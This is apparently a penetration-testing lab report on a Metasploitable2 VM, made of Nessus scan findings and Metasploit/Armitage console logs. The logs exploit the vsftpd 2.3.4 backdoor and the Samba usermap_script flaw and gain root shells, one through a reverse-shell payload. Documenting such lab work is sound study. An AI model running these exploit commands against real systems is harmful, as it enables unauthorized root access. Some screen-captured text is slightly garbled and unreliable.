                  0x00C0: 73 72 2F 6C 69 62 2F 72 75 62 79 2F 31 2E 38 2F  sr/lib/ruby/1.8/
                  0x00D0: 64 72 62 2F 64 72 62 2E 72 62 3A 31 35 33 30 3A  drb/db/rb:1530:
                  0x00E0: 69 6E 20 60 69 6E 69 74 5F 77 69 74 68 5F 63 6C  in `init_with_cl
                  0x00F0: 69 65 6E 74 27 22 39 2F 75 73 72 2F 6C 69 62 2F  ient'"9/usr/lib/
                  0x0100: 72 75 62 79 2F 31 2E 38 2F 64 72 62 2F 64 72 62  ruby/1.8/db/drdb
                  0x0110: 2E 72 62 3A 31 35 34 32 3A 69 6E 20 60 73 65 74  .rb:1542:in `set
                  0x0120: 75 70 5F 6D 65 73 73 61 67 65 27 22 33 2F 75 73  up_message'"3/us
                  0x0130: 72 2F 6C 69 62 2F 72 75 62 79 2F 31 2E 38 2F 64  r/lib/ruby/1.8/d
                  0x0140: 72 62 2F 64 72 62 2E 72 62 3A 31 34 39 34  [...]
```

19288 - VNC Server Security Type Detection

Synopsis

A VNC server is running on the remote host.

Description

This script checks the remote VNC server protocol version and the available 'security types'.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2005/07/22, Modified: 2021/07/13

Plugin Output

tcp/5900/vnc

```
\nThe remote VNC server chose security type #2 (VNC authentication)
```

65792 - VNC Server Unencrypted Communication Detection

Synopsis

A VNC server with one or more unencrypted 'security-types' is running on the remote host.

Description

This script checks the remote VNC server protocol version and the available 'security types' to determine if any unencrypted 'security-types' are in use or available.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/04/03, Modified: 2014/03/12

Plugin Output

tcp/5900/vnc

```
The remote VNC server supports the following security type  
which does not perform full data communication encryption :
```

```
2 (VNC authentication)
```

10342 - VNC Software Detection

Synopsis

The remote host is running a remote display software (VNC).

Description

The remote host is running VNC (Virtual Network Computing), which uses the RFB (Remote Framebuffer) protocol to provide remote access to graphical user interfaces and thus permits a console on the remote host to be displayed on another.

See Also

<https://en.wikipedia.org/wiki/Vnc>

Solution

Make sure use of this software is done in accordance with your organization's security policy and filter incoming traffic to this port.

Risk Factor

None

Plugin Information

Published: 2000/03/07, Modified: 2017/06/12

Plugin Output

tcp/5900/vnc

```
The highest RFB protocol version supported by the server is :
```

```
3.3
```

135860 - WMI Not Available

Synopsis

WMI queries could not be made against the remote host.

Description

WMI (Windows Management Instrumentation) is not available on the remote host over DCOM. WMI queries are used to gather information about the remote host, such as its current state, network interface configuration, etc.

Without this information Nessus may not be able to identify installed software or security vulnerabilities that exist on the remote host.

See Also

<https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2020/04/21, Modified: 2024/04/23

Plugin Output

tcp/445/cifs

```
Can't connect to the 'root\CIMV2' WMI namespace.
```

20108 - Web Server / Application favicon.ico Vendor Fingerprinting

Synopsis

The remote web server contains a graphic image that is prone to information disclosure.

Description

The 'favicon.ico' file found on the remote web server belongs to a popular web server. This may be used to fingerprint the web server.

Solution

Remove the 'favicon.ico' file or create a custom one for your site.

Risk Factor

None

Plugin Information

Published: 2005/10/28, Modified: 2020/06/12

Plugin Output

tcp/8180/www

```
MD5 fingerprint : 4644f2d45601037b8423d45e13194c93
Web server      : Apache Tomcat or Alfresco Community
```

11422 - Web Server Unconfigured - Default Install Page Present

Synopsis

The remote web server is not configured or is improperly configured.

Description

The remote web server uses its default welcome page. Therefore, it's probable that this server is not used at all or is serving content that is meant to be hidden.

Solution

Disable this service if you do not use it.

Risk Factor

None

Plugin Information

Published: 2003/03/20, Modified: 2018/08/15

Plugin Output

tcp/8180/www

The default welcome page is from Tomcat.

11424 - WebDAV Detection

Synopsis

The remote server is running with WebDAV enabled.

Description

WebDAV is an industry standard extension to the HTTP specification.

It adds a capability for authorized users to remotely add and manage the content of a web server.

If you do not use this extension, you should disable it.

Solution

<http://support.microsoft.com/default.aspx?kbid=241520>

Risk Factor

None

Plugin Information

Published: 2003/03/20, Modified: 2011/03/14

Plugin Output

tcp/80/www

10150 - Windows NetBIOS / SMB Remote Host Information Disclosure

Synopsis

It was possible to obtain the network name of the remote host.

Description

The remote host is listening on UDP port 137 or TCP port 445, and replies to NetBIOS nbtscan or SMB requests.

Note that this plugin gathers information to be used in other plugins, but does not itself generate a report.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 1999/10/12, Modified: 2021/02/10

Plugin Output

udp/137/netbios-ns

```
The following 5 NetBIOS names have been gathered :
```

```
METASPLOITABLE      = Computer name
METASPLOITABLE      = Messenger Service
METASPLOITABLE      = File Server Service
WORKGROUP           = Workgroup / Domain name
WORKGROUP           = Browser Service Elections
```

```
This SMB server seems to be a Samba server - its MAC address is NULL.
```

52703 - vsftpd Detection

Synopsis

An FTP server is listening on the remote port.

Description

The remote host is running vsftpd, an FTP server for UNIX-like systems written in C.

See Also

<http://vsftpd.beasts.org/>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/03/17, Modified: 2019/11/22

Plugin Output

tcp/21/ftp

```
Source  : 220 (vsFTPD 2.3.4)
Version : 2.3.4
```

Strumenti

- metasploitable2** ➔ In esecuzione
- window7** ⏪ Spenta
- mint** ⏪ Spenta
- pfsense** ⏪ Spenta
- kali linux 1** ➔ In esecuzione

kali linux 1 [Running]

```
TX packets:138 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:42061 (41.0 KB) TX bytes:42061 (41.0 KB)

admin@metasploitable:~$ ifconfig
Link encap:Ethernet HWaddr 00:00:27:24:01:f5
inet addr:192.168.1.101 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fe24:1f5/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:30275 errors:0 dropped:0 overruns:0 frame:0
TX packets:23889 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:3789794 (3.6 MB) TX bytes:10084735 (9.6 MB)
Base address:0xd020 Memory:f0200000-f0220000

Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:167 errors:0 dropped:0 overruns:0 frame:0
TX packets:167 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:56461 (55.1 KB) TX bytes:56461 (55.1 KB)

admin@metasploitable:~$
```

Armitage

Armitage View Hosts Attacks Workspaces Help

- mainframe
- multi
- netware
- openbsd
- osx
- qnx
- solaris
- unix
 - dhcp
 - fileformat
 - ftp
 - proftpd_133c_backdoor
 - proftpd_modcopy_exec
 - vsftpd_234_backdoor**
 - http
 - irc
 - local
 - misc
 - smtp
 - sonicwall

192.168.1.103 192.168.1.101 192.168.1.102

Console X nmap X scanner/ftp/anonymous X exploit X

```
RHOSTS => 192.168.1.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set TARGET 0
TARGET => 0
[!] Unknown datastore option: LHOST. Did you mean RHOST?
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
[!] Unknown datastore option: LPORT. Did you mean RPORT?
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set LPORT 23798
LPORT => 23798
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
PAYLOAD => cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit -j
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
[*] 192.168.1.101:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.101:21 - USER: 331 Please specify the password.
[+] 192.168.1.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:42491 -> 192.168.1.101:6200) at 2024-04-27 14:58:10 +0200
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

Left

Strumenti

- metasploitable2** ➔ In esecuzione
- window7** ⏪ Spenta
- mint** ⏪ Spenta
- pfsense** ⏪ Spenta
- kali linux 1** ➔ In esecuzione
- win7** ⏪ Spenta
- Clone di mint** ⏪ Spenta

metasploitable2 [Running]

```

TX packets:125 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:35837 (34.9 KB) TX bytes:35837 (34.9 KB)

msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet HWaddr 0B:00:27:24:01:f5
          inet addr:192.168.1.101  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe24:1f5/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1600 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1515 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:118278 (115.5 KB) TX bytes:144348 (140.9 KB)
          Base address:0xd02000 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:142 errors:0 dropped:0 overruns:0 frame:0
          TX packets:142 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:44105 (43.0 KB) TX bytes:44105 (43.0 KB)

msfadmin@metasploitable:~$ 
```

Nuova Aggiungi

Generale

Sistema

Schermo

Archiviazione

Rete

USB

Cartelle condivise

Descrizione

Nome: Sistema operativo: **Windows 7**

Memoria di base: 512 MB
Ordine di avvio: File system
Accelerazione: Parallela

Armitage

Armitage View Hosts Attacks Workspaces Help

exploit

192.168.1.1	192.168.1.103	192.168.1.105	192.168.1.100	192.168.1.101	192.168.1.102

Console X nmap X exploit X

```

msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf6 exploit(multi/samba/usermap_script) > set LPORT 25781
LPORT => 25781
msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf6 exploit(multi/samba/usermap_script) > set RPORT 139
RPORT => 139
msf6 exploit(multi/samba/usermap_script) > exploit -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP double handler on 192.168.1.100:25781
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo qqKHSyfEqjZ6dG5;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "qqKHSyfEqjZ6dG5\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.100:25781 -> 192.168.1.101:59623) at 2024-05-04 10:03:06 +0200
msf6 exploit(multi/samba/usermap_script) > w
10:03:07 up 18 min, 1 user,  load average: 0.69, 0.84, 0.50
USER   TTY   FROM             LOGIN@  IDLE   JCPU   PCPU WHAT
kali   -     09:44 18:33  0.00s  0.04s lightdm --session-child 13 24
msf6 exploit(multi/samba/usermap_script) > whoami
root
msf6 exploit(multi/samba/usermap_script) > 
```